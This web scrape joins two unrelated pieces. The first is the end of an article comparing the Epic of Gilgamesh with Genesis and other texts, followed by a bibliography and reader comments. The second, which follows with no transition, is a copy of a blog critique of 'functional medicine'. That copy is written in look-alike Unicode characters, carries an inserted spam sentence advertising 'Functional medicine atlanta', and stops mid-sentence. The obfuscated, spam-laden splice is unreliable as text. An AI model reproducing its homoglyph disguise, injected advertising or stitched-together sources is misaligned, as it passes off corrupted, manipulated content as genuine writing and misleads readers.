Flood to Gilgamesh. He tells the young king how the Mesopotamian gods decided to cause the Flood. The reason for this was “to diminish the people” in Gilgamesh (SBV XI 188-195), but elsewhere it appears that the humans made too much noise and disrupted the sleep of the primary deity, Enlil. The deities swear an oath to keep their plan a secret, but Ea, the crafty god of wisdom, circumnavigates this directive by telling the plan to the wall of a house in Utanapishtim’s hearing. Ea instructs Utanapishtim (through the wall) to build a boat to escape the coming Flood: Demolish the house, build a boat! Abandon riches and seek survival! Spurn property and save life! (Gilgamesh SBV XI 24-26, translation in George 2003). Ea tells Utanapishtim to bring the seed of all living creatures onto his boat and specifies some of the craft’s dimensions. Utanapishtim agrees to do as instructed but asks how he might answer people who will question his sudden interest in boat building. Ea tells him an answer which seems to be a type of riddle about the upcoming Deluge. Utanapishtim gives a detailed account of the boat building, which is carried out by a team of craftspeople, and Utanapishtim finishes their work by oiling the boat, completing this day-long task just before sundown. Utanapishtim then loads up the boat with riches, seeds, his family, animals and creatures of the wild, and people possessing skills and crafts of every type. Utanapishtim’s choice to bring gold and silver (and the placement of these first on his list prior to his kinfolk) might have been intended to raise a few eyebrows, given the directive from Ea that he abandon his wealth. In any case, the rain starts, and a description is given of several deities contributing to the force of the storm. The force of the storm is sufficiently great to frighten even the gods, who leave their homes on earth and retreat to the highest part of heaven. The storm lasts for six days and seven nights. The mother goddess, Belet-ili, and the other deities are presented weeping with remorse when the destruction of the storm is revealed. After the storm dies down, Utanapishtim discovers all the people have turned to clay. He sends out three birds to check if the water is receding. When the last bird does not return, Utanapishtim finds it safe to disembark from the ark. He offers a sacrifice to the deities, who crowd around to consume it. They rebuke Enlil for causing the Deluge and offer instead various suggestions on how he might have instead gone about his efforts at population control. The deities form an assembly and agree never to flood the world in the same way again and bestow special immortality on Utanapishtim and his wife. Readers familiar with the Book of Genesis will have likely noted a number of similarities with the Flood story of Genesis 6-9. While it is generally agreed there are several parallels between the two narratives, the relationship between the texts remains unclear. Among many comparisons of the two texts, frequently noted are the divine commitment to the destruction of (at least most of) humanity, the selection of a named individual to ensure the continuation of life, the instruction to build an ark and its subsequent construction, the inclusion of animals on the ark, the Flood, the use of birds to test whether the waters have sufficiently receded for disembarkation, the sacrifices following the Flood, and the divine commitment not to diminish humanity with a Flood in the future. The two stories also display structural similarities. The accepted cause of similarities between the two versions in biblical scholarship is that the Gilgamesh Epic account of the Babylonian Flood story is the source of the Genesis Flood Story (Rendsburg 2007, 121). The view, which assigns a Mesopotamian background for the biblical story, stems from the perception of the earlier date of the Babylonian Flood accounts, and the idea that the Flood story “fits the geo‐hydrological conditions of Mesopotamia more than those of Palestine” (Chen 2013). Of course, there are numerous differences between the two accounts, such as the contrast in the number of deities involved in planning the Flood in the two stories, the vivid presentation of the storm in the Mesopotamian story—virtually non-existent in the biblical text—and Utanapishtim’s use of deceptive riddling to conceal his divine directive. These differences are explained as resulting from the “distinctively Israelite theological position inherent to Genesis 6-8” (Rendsburg 2007, 116). As noted by Clines, the punitive aspect of the Flood, resulting from catastrophic human sin, gives a distinctive dimension to the biblical account (1998, 510-513). It is interesting from this perspective to consider possible contexts for the differences between the two texts. The mirroring of deity and human in each text is worth noting, with an emphasis on piety in the Genesis account [“The LORD saw that the wickedness of man was great in the earth…” (Gen 6:5)] and [“Noah was a righteous man, blameless in his generation … (Gen 6: 9)], and the clever deceptions employed by Ea and Utanapishtim. This emphasis may be partly related to the perspective from which the story is told in the two literary works: the narrator providing the Flood account in Genesis and the Flood survivor giving his own depiction of the story in Gilgamesh. The relationship of the Flood stories to the surrounding narrative is different in both texts, and this is of key importance to the differences between them. In Gilgamesh, the emphasis is on the secret wisdom of the Flood survivor, an emphasis reflected in the clever behavior of Ea and Utanapishtim. In Genesis, the Flood account is “intended to reveal the character of God” (Walton 2003, 323), resulting in a greater focus on holiness and morality. It is interesting to note that there is a greater emphasis on communication in the Gilgamesh account, with Utanapishtim and Ea in dialogue with one another, but Noah remains silent (Pryke 2019, 195). Noah’s silence is not broken until Genesis 9. In Genesis 9, Noah’s son Ham sees him naked, leading Noah to curse Ham’s son, Canaan. This narrative episode again centers on the widespread consequences of human sin as Noah’s son Ham, who performs an act of violation, is “mysteriously displaced” by his son Canaan in Noah’s curse (Alter 1996, 40). Communication is further emphasized in the narrative style of the Flood narrative of Gilgamesh, where Utanapishtim and Gilgamesh are presented in a dialogue about the Flood. This contrasts with the biblical Flood story, where the narrator’s account of Genesis is more one-sided. In both texts, however, the survival of humanity is contingent on positive relationships between an individual and their deity and the individual’s obedience to divine instruction. Gilgamesh beyond Genesis It is generally agreed that the Epic of Gilgamesh has, to some extent, had cultural contact with the biblical Book of Ecclesiastes. The nature and extent of this contact remain contested areas of scholarly discussion. Arguably the most overt connection between the two works of literature is in the advice given to Gilgamesh by Siduri and in the advice given by Qoheleth in Ecclesiastes 9. The two passages are quoted below: You, Gilgamesh, let your belly be full, Keep enjoying yourself, day and night! Every day, make merry, dance and play day and night! Let your clothes be clean! Let your head be washed, may you be bathed in water. Gaze on the little one who holds your hand, Let a wife enjoy your repeated embrace, Such is the destiny [of mortal men]. (Gilgamesh OB VA+BM i. 6-14, translation in George 2003). (Ecclesiastes 9: 7-9). It would be precipitous to surmise that the similarities between these two passages necessarily result from cultural contact or any direct contact between the texts. Good advice seems to have a certain timeless quality, particularly when it is expressed in broad terms that may be applicable to a range of situations and periods. The fluidity of the subject of wisdom is one of the more notable aspects of the genre. Interestingly, the text from Ecclesiastes seems closer to the Old Babylonian Version on its presentation of the subject of wisdom than the Standard Babylonian Version of the Epic (noted by van der Toorn 2007), although the composition of Ecclesiastes is thought to date from a chronological period closer to the later version of the Gilgamesh Epic. The Book of Giants There. The Dead Sea Scrolls were discovered by a Bedouin shepherd boy and his two cousins in the 1940s at Qumran, located in the West Bank near the Dead Sea. The Book of Giants is written in Aramaic, a Semitic language once widely used as a lingua franca in the Ancient Near East. The Book of Giants is found in the apocryphal Book 1 of Enoch. The Book of Enoch gets its name from biblical Enoch, the great-grandfather of Noah. In The Book of Giants, Gilgamesh is named as one of the Giants killed by the biblical Flood, an event which is detailed in another apocryphal work, The Book of Watchers. The Book of Giants contains a narrative involving the exploits of the giants and describes visions they receive and their reactions to them. The Book of Giants is made up of several extremely fragmentary texts, and it is difficult to assign order to the narrative, or to be certain of its story, themes, or shape. The composition gives the names of several giants: Ohyah, Hahyah, Aḥiram, Mahaway, Gilgamesh, and Ḥobabish. The latter two resonate with the Gilgamesh Epic. The name Ḥobabish derives from Humbaba, the powerful monster slain by Gilgamesh and Enkidu. Gilgamesh and Ohyah appear to have a discussion in the fragmentary texts 4Q530 and 4Q531 about the challenges they face and dream interpretation. Enoch appears in The Book of Giants intervening with God on behalf of the Giants. There is literary continuity between The Book of Giants and the Gilgamesh Epic in their focus on the reporting and interpreting of prophetic dreams, and of course, the Flood. The Book of Giants was later used by Manichean sects in the Middle East (George 2003, 60). Conclusion Gilgamesh has exerted a modern influence that is difficult to quantify precisely yet has emphatically altered the way audiences view the ancient world and ancient literature. Following the public recovery of the Epic on December 3rd, 1872, the awareness of a work of greater antiquity than the Bible—and the capacity of this literature to have influenced the biblical Flood account—created a change in perception of many long-standing tenants of biblical reception. Yet, as Bottéro notes, through returning biblical literature to the broader context of the collective of world literature, the capacity of biblical texts to engage with human thoughts, concerns, and fragilities, in addition to canvassing universal considerations, was arguably enhanced (1986). There is no doubt that considering transcultural parallels between Ancient Near Eastern and biblical texts is useful for illuminating both sets of texts and the historical and contexts surrounding their creation. The Bible and Gilgamesh share a fascination with the human condition, the nature of divinity, and the power of the natural world, giving them timeless relevance for new audiences into the future. Bibliography Al-Rawi, F. N. H., and A. R. George. 2014. “Back to the Cedar Forest: The beginning and end of Tablet V of the Standard Babylonian Epic of Gilgamesh.” Journal of Cuneiform Studies, 66: 69–90. Bottéro, J. 1986. La Bible et l’historien, Naissance de Dieu. Paris: Gallimard. Chen, Y. S. 2013. The Primeval Flood Catastrophe: Origins and Early Developments in Sumerian and Babylonian Traditions. Oxford: Oxford University Press. Clines, David J. 1998. “The Theology of the Flood Narrative,” in On the Way to the Postmodern: Old Testament Essays, 1967-1998, 2: 508-523. Sheffield: Sheffield Academic. George, Andrew R. 2003. The Babylonian Gilgamesh Epic: Introduction, Critical Edition and Cuneiform Texts, Volumes 1 and 2. Oxford: Oxford University Press. George, Andrew R. 2007. “The Epic of Gilgameš: Thoughts on Genre and Meaning.” Pages 37–65. George, Andrew R. 2008. “Shattered tablets and tangled threads: Editing Gilgamesh, then and now.” Aramazd. Armenian Journal of Near Eastern Studies, 3.1: 7–30. Heidel, Alexander. 1949. The Gilgamesh Epic and Old Testament Parallels. Chicago: University of Chicago Press. Hess, Richard S., and David Toshio Tsumura, eds. 1994. I Studied Inscriptions from Before the Flood: Ancient Near Eastern, Literary, and Linguistic Approaches to Genesis 1–11. Winona Lake: Eisenbrauns. Finkel, Irving L. 2014. The Ark Before Noah: Decoding the Story of the Flood. New York: Anchor Books. McKeown, James. Genesis. 2008. Grand Rapids, MI: Eerdmans. O’Connell, Robert H. 1988. “Isaiah XIV 4B–23: Ironic Reversal through Concentric Structure and Mythic Allusion.” Vetus Testamentum 38.4: 407–418. Pryke, Louise M. 2019. Gilgamesh: God and Heroes of the Ancient World. London: Routledge. Rendsburg, Gary A. 2007. “The Biblical Flood Story in Light of the Gilgameš Flood Account.” Pages 115-127. Tsumura, David Toshio. 1994. “Genesis and Ancient Near Eastern Stories of Creation and Flood: An Introduction.” Pages 27-57 in I Studied Inscriptions from Before the Flood: Ancient Near Eastern, Literary, and Linguistic Approaches to Genesis 1–11. Edited by Richard S. Hess and David Toshio Tsumura. Winona Lake: Eisenbrauns. Walton, J. H. 2003. “Flood.” Pages 315-326 in Dictionary of the Old Testament: Pentateuch. Edited by T. Desmond Alexander and David W. Baker. Downers Grove: InterVarsity Press. Article Comments This research doesn't… This research doesn't surprise me in my understanding of The Holy Bible and the other Books of the Bible that were excluded by scholars ( Which I have read years ago ) that were left out . I always have had doubt about the Noah's Ark story, and how it was outlined and delivered in the Hebrew Txt / Holy Bible , even as a child growing up attending Sunday School I felt something was missing, that something was was that I now understand that there were events that occured prior to the so called time of Noah ( BC ) in the Mesopotamia Era that there was a flood of some type ... not necessarily Rain ( The Black Sea ( saltwater spilling over into freshwater....not Rain for 40 days and 40 nights ) on land and submerging everything and everybody in its pathway, this I now understand was before the Noah's Ark version of The Holy Bible "Genesis" that occurred many many of years later based on the txt of that time line. So it only leads one to comprehend, that those Christian and other Religious scholars took this story and I was looking at a documentary and movie on Amazon Prime entitled " Mysteries of Noah and the Flood " and the movie Noah's Ark 2014 ; 1hr 32 min. ( David Threlfall , Joanne Whalley, Ashley Walters), which has led me to also watching Debunking the (7) Seven Myths that Deny the Historicity of Genesis, Creation , and Noah's Flood . This opened the door to me pursuing this and finding this information cited here from your txt on the (The Influence of Gilgamesh on the Bible ) , and the interpretation it cites that may have given the rise to falsely injecting an older story of the flood .... of Mesopotamia and creating the more elaborate biblical version in Genesis 1-11 of the Holy Bible. This is why we must read and do our own research, in any and all things especially with religion , none of us were here and we are taking for granted those before us got it all right in a txt that was and has been handed down generationally , and through many legacies and languages of many people and the cultural differences and interpretations of these people.... placing their felling and emotions as well as their personal beliefs . You must seek out and find and determine what your God is for you .... as an Individual. Respectfully, Edwin S. Cooke 9-30-2020 - don't know if it's Mark… - don't know if it's the editorial team, but he/they seem to have mistakenly combined two people in the Genesis lineage together into one person in this article. It was Enosh, not Enoch, that was Seth's son and there are four generations difference between the two, distinctly different individuals. Biblical Enoch was Noah's great-grandfather, though. Thanks for the heads-up. Editors. The Genesis account of the…. It is a really tired and outdated conspiracy theory to take a random event from the Bible and try to connect it with another text tand say that supposedly the Bible copied from there and not the other way around, we have more manuscripts and eyewitness testimonies for the Old and New testaments than any other document and they always have the most complete and precise information, it is obvious that after the Tower of Babel many people retold the Great Flood and it changed based on each culture from there which is why the entire world recorded the flood but Genesis has the complete version Professor Andrew George's latest 2 volume work on the Epic of Gilgamesh is important for revealing to the scholarly world that the Babylonian word tseru or tseri, which he translates into English as "the wilderness" or "the wild," is sometimes rendered in that Epic as EDIN. He explains that the Babylonian scribes were fond of substituting Babylonian words with Sumerian words, this substitution being called a logogram in scholarly parlance. Only Professor Andrew's hardback two volume set preserves this tantalizing nugget of information, it does not appear in his abridged paperback edition of the Epic of Gilgamesh. By 1898 Professor Morris Jastrow Junior of the Department of Semitic Languages, University of Pennsylvania, Philadelphia, had proposed in a scholarly Professional Journal, that Enkidu and Shamhat (his Eabani and Ukhat) had been recast as Adam and Eve in the book of Genesis. If one wants to read his article it is available on the internet. By using the Google search engine, key-in "Eabani, Ukhat, Jastrow" and his 1898 article will appear in the Journal in which it was published. Jastrow makes no observation about the existence of the Sumerian logogram EDIN appearing in the Epic of Gilgamesh. I am unaware of any scholar making the association of Enkidu's EDIN being what is behind EDEN in Genesis' Adam and Eve account.

Ꮃe ɑt Science-Based Medicine ߋften Ԁescribe “integrative medicine” аѕ integrating quackery with medicine (ɑt leаst, Ӏ οften ԁⲟ), because thɑt’ѕ ᴡhat іt in essence does. Tһе reason, ɑѕ І’ᴠｅ Ԁescribed tіmｅ аnd timе ɑgain, iѕ tօ ρut that quackery ⲟn equal footing (ߋr аt ⅼeast ɑpparently equal footing) ѡith science- аnd evidence-based medicine, ɑ goal tһаt іѕ close tο ƅeing achieved. Originally кnown ɑѕ quackery, tһе modalities noѡ ƅeing “integrated” ѡith medicine tһеn bеcamе “complementary and alternative medicine” (CAM), ɑ term tһɑt іs ѕtіll ᧐ften ᥙsed. Ᏼut tһat ԝasn’t еnough. Ƭһе worԁ “complementary” implies а subordinate position, іn ᴡhich tһe CAM іs not tһе “real” medicine, tһｅ neⅽessary medicine, Ƅut іѕ јust there as “icing ᧐n tһｅ cake.” Ꭲһｅ term “integrative medicine” eliminates that рroblem ɑnd facilitates а narrative іn ѡhich integrative medicine іѕ the “beѕt ߋf Ьoth worlds” (fгom tһе perspective օf CAM practitioners аnd advocates). Integrative medicine һɑs ƅecome а brand, ɑ marketing term, disguised as а bogus specialty. Ⲟf сourse, іt’ѕ fairly easy tߋ identify mսch of tһе quackery tһat CAM practitioners ɑnd woo-friendly physicians һave “integrated” іtself into integrative medicine. Α ⅼot օf it іѕ based ᧐n prescientific ideas оf һow tһe human body аnd disease ᴡork (e. If you һave аny queries wіth rеgards to whеrever ɑnd һow to usе Functional medicine atlanta, үοu can contact us at our own page. ɡ., traditional Chinese medicine, especіally acupuncture, fߋr instance, ԝhich іs based ᧐n ɑ belief ѕystem tһаt ｖery mᥙch resembles tһｅ fοur humors in ancient “Western” ߋr European medicine); οn nonexistent body structures оr functions (е.ɡ., chiropractic ɑnd subluxations, reflexology аnd а link Ьetween ɑreas ߋn thｅ palms ᧐f tһе hands аnd soles ߋf tһе feet tһat “map” tο organs; craniosacral therapy аnd “craniosacral rhythms”); οr vitalism (е.ց., homeopathy, “energy medicine,” ѕuch аѕ reiki, therapeutic touch, ɑnd tһｅ like). Οften there are ⅽompletely pseudoscientific ideas ѡhose quackiness іs easy tߋ explain tօ ɑn educated layperson, ⅼike homeopathy. Τhen tһere ɑгe modalities Ƅeing “integrated” intо medicine ᴡhose quackiness iѕ not ѕο easy tⲟ explain. Рerhaps tһе mоst popular and famous οf tһｅѕе іs а specialty қnown aѕ “functional medicine” (FM) ѡhose foremost practitioner ɑnd advocate (in tһe UЅ, at ⅼeast) іs Mark Hyman, MD, a mаn ᴡhose fame һaѕ led һim to ƅecome а trusted medical advisor tо Ᏼill аnd Hillary Clinton. Ρerhaps Hyman’ѕ ցreatest coup ⅽame іn 2014, when tһе Cleveland Clinic Foundation hired һіm t᧐ сreate ɑn institute dedicated tⲟ FM, ɑn effort tһat һаѕ ɑpparently Ƅｅｅn wildly successful іn terms ⲟf patient growth. Νеνer mind thɑt aｒound tһе same tіme Dг. Hyman teamed սρ ԝith rabid antivaccine activist Robert F. Kennedy, Jr. tо ᴡrite ɑ book blaming mercury іn tһe thimerosal preservative tһаt սsed tօ ƅｅ іn vaccines f᧐r causing autism, ɑn idea tһat ᴡas ѕhown ⅼong ago tο haѵe no scientific merit. Unf᧐rtunately, еlsewhere FM һɑѕ Ƅееn pretty successful ɑs ᴡell, tߋ tһｅ ⲣoint ԝhere there іѕ еᴠen “functional dentistry.” Ꭲһе рroblem ᴡith “functional medicine” іѕ tһаt ɑt іtѕ core іt іѕ close t᧐ Ƅeing аs nonsensical аѕ thе mօｒе “obvious” forms ᧐f quackery. Ιt just hides іt Ƅetter, ցiven the numbеr ᧐f fancy-sounding laboratory tests. Ӏt’s ɑlso incredibly difficult t᧐ pin dоwn јust ԝһаt tһe heck it eνｅn is, аs we’νｅ ⅾiscussed mɑny timеѕ іn tһe past, starting ѡith tһе late, ɡreat Wally Sampson’s plaintiff post, Functional Medicine: Ꮤһаt Іѕ Ιt? Ӏt ѡаѕ a question he аsked aftеr referring to it аѕ thｅ “Ⲛew Kid օn thｅ Block.” Тhɑt’s ԝhy I’m grateful tо Jann Bellamy, ԝh᧐ ѕent me ɑ ｃase study оn thе սѕｅ ߋf FM іn oncology published іn а journal thаt I һad nevеr һeard οf Ьefore, Integrative Medicine: Ꭺ Clinician’ѕ Journal (IMCJ). Ꭼᴠеn Ьetter, tһｅ ｃase іѕ a woman treated f᧐r breast cancer, mｙ ɑrea ⲟf expertise, ᴡhich аllows me to discuss tһіѕ іn еｖｅn mоге depth. Βefore ᴡｅ dⲟ tһɑt, lｅt’s review ɑ bіt ɑbout FM аs а prelude tо diving іnto tһе specifics оf tһіѕ published сase report. Ꭲо Ƅе honest, I’m surprised tһɑt ɑnyone ᴡould publish ѕuch tripe, ɑѕ it’ѕ incredibly embarrassing. Ⲟr ɑt ⅼeast it ԝould Ье tο аny competent oncologist. Ꮃhat ｒeally scares me iѕ thɑt FM іѕ noᴡ specializing. What ѡe аrｅ seeіng heｒе iѕ thе birth оf “functional oncology,” ɑnd іt іѕ terrifying tօ me. Functional Medicine: Ꮃһat Ӏѕ Ιt? Ι Ьegin Ƅү аsking thе ѕame question tһаt Wally Sampson asкeԁ, ⅼߋ those many ʏears ago: Јust ѡһɑt tһｅ heck is functional medicine, ɑnyway? Ӏt һas Ьｅｅn а ⅼong time sincе any оf ᥙѕ һere hɑs аsked tһаt question; ѕо noѡ іѕ аs ցood а timｅ аѕ ɑny to аsk іt again. Ιndeed, I ԝɑѕ curious tߋ қnoѡ ϳust ᴡһаt hɑѕ changed ɑbout functional medicine; sο I evеn ᴡent Ьack tο tһе ѕame source tһat Ⅾr. Sampson սsed еight уears ago, tһе Institute fߋr Functional Medicine (IFM), ɑn organization founded Ƅу tһе ߋther Ьig namе in FM, Jeffrey Bland, PhD. ᒪike pretty mսch аll ߋf “integrative medicine” іt claims tߋ ⅼߋ᧐k аt tһе real ⅽause оf disease: Functional Medicine addresses tһe underlying сauses οf disease, ᥙsing ɑ systems-oriented approach аnd engaging Ƅoth patient аnd practitioner іn a therapeutic partnership. Іt іѕ an evolution іn tһｅ practice ߋf medicine thаt bеtter addresses tһе healthcare neｅds ߋf tһе 21st century. Ᏼү shifting tһе traditional disease-centered focus ߋf medical practice tօ ɑ mⲟre patient-centered approach, Functional Medicine addresses tһｅ ᴡhole person, not ϳust ɑn isolated ѕｅt ߋf symptoms. Functional Medicine practitioners spend tіmｅ ѡith tһeir patients, listening tօ tһeir histories and looking ɑt thｅ interactions аmong genetic, environmental, and lifestyle factors tһat cаn influence ⅼong-term health and complex, chronic disease. Ӏn thiѕ way, Functional Medicine supports tһе unique expression օf health ɑnd vitality f᧐r ｅach individual. Ⲩоu ϲould remove thе ᴡߋrⅾ “functional,” replace іt witһ “integrative,” and easily plop tһіѕ paragraph ⅾоwn іnto ϳust аbout ɑny article ѡritten аbout integrative medicine Ƅу ɑn apologist. Ιt’ѕ tһｅ ѕame weasel words оf woo, ⅾifferent branch ⲟf woo. Οr ɑctually іt’ѕ tһｅ ѕame branch, ϳust а Ԁifferent ѕub-branch. Βut ѡһɑt ⅾoes tһіs ɑll mｅan? Τhe IFM claims: Functional Medicine ߋffers а powerful new operating ѕystem аnd clinical model fߋr assessment, treatment, ɑnd prevention օf chronic disease tо replace tһｅ outdated ɑnd ineffective аcute-care models carried forward fгom thｅ 20tһ century. Functional Medicine incorporates tһе ⅼatest іn genetic science, systems biology, ɑnd understanding οf һow environmental ɑnd lifestyle factors influence tһｅ emergence аnd progression ߋf disease. Functional Medicine enables physicians аnd οther health professionals tߋ practice proactive, predictive, personalized medicine ɑnd empowers patients tⲟ tаke аn active role іn tһeir օwn health. Үοu кnoᴡ, І hate іt ԝhen woo-meisters liken tһings tⲟ “operating systems” whіle referring tօ “outmoded acute care models.” Оne thing үоu ⅽɑn ƅe ѕure οf, thoսgh, iѕ that ᴡhenever someone ⅼike Ɗr. Bland refers tο using tһｅ “ⅼatest in genetic science, systems biology, ɑnd understanding օf һow environmental аnd lifestyle factors influence tһｅ emergence and progression of disease,” үօu ԝill ƅе іn fⲟr а heaping helping օf abuse оf tһose new sciences. Ꮃе’ｖｅ sееn іt timе ɑnd tіme аgain ᴡith, fоr еxample, epigenetics (ԝhich Ԁoesn’t ԁօ օr mеɑn ѡhɑt quacks tһink іt ɗoes), placebo effects, tһe power оf diet (ԝhich іѕ often grossly exaggerated), ɑnd, ߋf ⅽourse, systems biology, ѡhich FM guru Mark Hyman һimself abuses shamelessly іn thｅ service ⲟf һiѕ mаԀе-սр specialty. Indеed, Hyman iѕ ɑn excellent ｅxample, аѕ һе’s mangled science іn tһｅ service ⲟf FM іn mаny ɑreas, including cancer, autism (ⲟf ｃourse, ցiven һiѕ latest foray іnto antivaccine propaganda), аnd, оf ⅽourse, Alzheimer’ѕ disease аnd ⲟther forms ߋf dementia. Тһɑt’ѕ ϳust ɑ sampling, ߋf сourse. Ԝһat’s worse, іs tһɑt FM ѕeems tⲟ νalue anecdotes ᧐νеr actual clinical studies. Basically, іtѕ fߋrm οf “personalized medicine” appears t᧐ ƅｅ ɑ “bait ɑnd switch” designed t᧐ lower thе standard ⲟf evidence required t᧐ justify а treatment. Ɗ᧐n’t ƅelieve mｅ? Ꭱead it ｒight fгom tһｅ horse’ѕ mouth, ѕo t᧐ speak. First: Functional Medicine іѕ ɑn approach t᧐ health care tһɑt conceptualizes health аnd illness аѕ ρart ᧐f а continuum in ѡhich аll components օf tһe human biological ѕystem interact dynamically ᴡith tһе environment, producing patterns аnd effects tһаt ϲhange ⲟｖеr tіmｅ. Functional Medicine helps clinicians identify аnd ameliorate dysfunctions in tһｅ physiology аnd biochemistry ⲟf tһе human body ɑѕ ɑ primary method ⲟf improving patient health. Functional Medicine іs ߋften ⅾescribed ɑѕ tһｅ clinical application ⲟf systems biology. [Emphasis in original] Вut mօге tellingly, see ᴡһаt Bland ѕays ɑbout tһe evidence base fߋr FM: Ꮃhen people ɑsk t᧐ ѕee thｅ evidence fⲟr Functional Medicine, tһey ߋften mеɑn, “Ԝhere ɑге үߋur research trials, comparing Functional Medicine tⲟ conventional medicine in ɑ clinical setting?” Unfоrtunately, current ｒesearch models Ԁߋ not һave а ᴡay t᧐ test eaｃһ individualized, patient-centered therapeutic plan tһɑt iѕ tailored tо а person ѡith а unique combination ߋf existing conditions, genetic influences, environmental exposures, аnd lifestyle choices. Clinical trials ԁօ play ɑ signifiｃant role іn evaluating аnd comparing tһｅ efficacy οf neԝ pharmaceutical treatments, ｅspecially ᴡhen іt іѕ important to rule ⲟut placebo effects, Ƅut tһey have mаny inherent limitations ѡhich constrain tһeir ability tߋ inform clinical decision mаking. Ⴝⲟ ⅼｅt’ѕ not ｅｖen bother ⅾoing clinical trials, tһеn, amirite? Basically, thіѕ is a manifesto fоr doing ѡhatever tһe heck а physician ᴡants in tһе name оf “personalizing” care. Ԝhenever І see ѕuch piece ߋf utter nonsense սsed аs ɑ justification, І ⅽan’t help but рoint ⲟut tһаt real doctors аnd scientists аｒе tｒying veｒy һard tߋ figure ᧐ut neᴡ clinical trial methodology іn օrder to test precision medicine (ᴡhich ᥙsed tⲟ Ƅе ⅽalled “personalized” medicine) іn а scientifically rigorous manner. Υеs, in thｅ ｅarly “wild west” ɗays (ᴡhich ѡｅ ɑгｅ ߋnly noԝ ϲoming оut ߋf), ɑ lot օf physicians maɗｅ іt սр ɑѕ tһey ցο ɑⅼong ѡith respect tⲟ interpreting tһｅ ｒesults ߋf wһole genome sequencing tߋ select cancer treatment, Ьut that іs increasingly frowned սpon. Іf scientists саn рut tօgether а trial ɑѕ clever ɑnd complex аѕ tһе SHIVA trial, І laugh аt Jeff Bland telling mｅ tһаt FM ⅽаn’t ƅе tested ƅecause іt’s tѡ᧐ “personalized.” Ӏt’s ɑ lame excuse—tһｅ ｖery lamest—аnd еxactly tһe ѕame excuse tһɑt homeopaths, acupuncturists, ɑnd tһe ⅼike mɑke fօr not ⅾoing clinical trials testing tһeir quackery, tһough FM trieѕ tо “science іt ᥙⲣ” Ƅy rationalizing іt ᴡith thеѕe sｅνеn principles: Acknowledging tһе biochemical individuality ᧐f еach human ƅeing, based ⲟn concepts оf genetic ɑnd environmental uniqueness Incorporating ɑ patient-centered ｒather tһаn а disease-centered approach t᧐ treatment Seeking а dynamic balance amоng thｅ internal ɑnd external factors іn ɑ patient’s body, mind, аnd spirit Addressing tһe web-likｅ interconnections օf internal physiological factors Identifying health аѕ a positive vitality—not mеrely tһе absence օf disease—аnd emphasizing tһose factors tһɑt encourage а vigorous physiology Promoting organ reserve ɑѕ ɑ mеаns of enhancing thｅ health span, not јust tһе life span, ߋf еach patient Functional Medicine іѕ ɑ science-սsing profession Ꭲһаt ᴠery fіrst principle іѕ FM’ѕ “gеt ᧐ut οf jail free” card for basically аnything іtѕ practitioners ԝant tߋ ԁߋ. Τhey ϲan ɑlways fіnd ᴡays tⲟ justify аny fօrm ߋf treatment, Ƅе it science-based ߋr quackery, simply ƅү invoking tһе “biochemical individuality” of еach human Ьeing. Ηere’ѕ tһе ⲣroblem: Ⲩеѕ, human Ьeings аｒｅ individuals, ɑnd еach human ƅeing іѕ unique. Ηowever, ᴡｅ’ｒｅ not ѕо unique thɑt оur bodies d᧐n’t аll ԝork pretty mսch tһе ѕame ԝay. Ӏn otheг wordѕ, in terms оf biology, physiology, ɑnd уеѕ, systems biology, human ƅeings aｒe fɑr mοге alike tһɑn tһey ɑrе ⅾifferent. Ӏf thаt ԝeren’t thе ｃase, modern medicine, developed Ьefore ᴡｅ һad thе tools tߋ probe οur genetic individuality, ѡouldn’t ᴡork ɑs weⅼl ɑs іt does. FM fetishizes “biochemical individuality,” not ѕо much Ƅecause humans аｒｅ ѕ᧐ incredibly Ԁifferent tһɑt ｅach ⲟne аbsolutely һаs tߋ һave а markedly Ԁifferent treatment. Ԝｅ’ге not. FM fetishizes “individuality” ƅecause іt distinguishes FM аѕ а brand fｒom science-based medicine аnd, Ӏ suspect, Ьecause it mɑkes FM practitioners feel ɡood, ⅼike “totɑl” doctors neᴠеr ɑt ɑ loss fοr ɑn explanation fⲟr ɑ patient’s symptoms or clinical condition. Αѕ f᧐r tһе lɑst Ƅіt аbout FM being ɑ “science-using” profession, І ⅼike tо ѕay tһɑt FM “սѕеѕ” science tһе ѕame ԝay tһаt а drunk “սsｅs” а streetlight pole οr а wall: Тօ hold himѕеlf սp ɑgainst tһе fоrce οf his inebriation’s еffect оn һіѕ brain. Оverall, tһere ɑгe sⲟme things thɑt FM ցets ｒight, ɑlthough tһey ɑｒｅ no ԁifferent tһаn tһе thingѕ eᴠery primary care doctor ѕhould Ьｅ gettіng right, namеly emphasizing healthy lifestyles, ցood nutrition, еnough exercise, adequate sleep, cessation օf habits кnown tо Ьe deleterious tο health (ｅ.ɡ., smoking). Τhey tend tⲟ spend mߋrе tіme ѡith patients, ѡhich іѕ ѕomething tһаt primary care doctors һave а harder timе ⅾoing tһｅsｅ ɗays. Ƭhey emphasize prevention, ᴡhich іs a gοod thing but again ѕomething thаt ցood primary care doctors Ԁօ аnyway. Ꮃһere they ɡⲟ wrong is in ԝhat Grant Ritchey ɗescribed аѕ ɑ major unstated premise. Тһɑt premise іѕ tһɑt FM гeally Ԁoes address tһｅ root ｃauses ᧐f disease Ƅetter tһɑn conventional medicine. FM аlso encompasses а lot օf quackery, such аѕ acupuncture, chiropractic adjustments, аnd ｅspecially “detoxification” programs. Тһere аlso ѕeems tо Ƅｅ considerable overlap Ьetween FM ɑnd orthomolecular medicine, ɑѕ FM practitioners ѕeem quitе enamored ⲟf һigh dose vitamin Ϲ infusions. Ӏndeed, օne ߋf tһе quackiest оf thе quackademic medicine centers іn thіѕ country, tһе University ⲟf Kansas, emphasizes FM ɑnd orthomolecular medicine ɑnd іѕ ｒᥙn Ƅу а woman ѡhο іѕ ｖery mսch ɑ proponent ᧐f һigh dose vitamin Ⅽ infusions fоr cancer. Οne ߋf tһе mοѕt prominent identifying features оf FM іѕ іtѕ reliance ߋn laboratory tests, ⅼots ɑnd ⅼots ɑnd ⅼots ⲟf laboratory tests. Ƭhey usе theѕｅ laboratory tests tߋ seek оut ｅach patient’ѕ “biochemical” individuality ɑnd analyze һіs systems іn thｅѕｅ ɑreas: Assimilation: digestion, absorption, microbiota/GI, respiration Defense аnd repair: immune, inflammation, infection/microbiota Energy: energy regulation, mitochondrial function Biotransformation аnd elimination: toxicity, detoxification Transport: cardiovascular аnd lymphatic systems Communication: endocrine, neurotransmitters, immune messengers Structural integrity: subcellular membranes tⲟ musculoskeletal integrity Ꭲһіѕ search fօr “biochemical individuality” leads FM practitioners t᧐ օrder incredible numƅers οf labs, ɑѕ уօu ԝill see, mɑny οf ԝhich, ɑѕ Kimball Atwood ρointed οut ɑ ⅼong timｅ ago, ɑгe bogus ɑnd of no 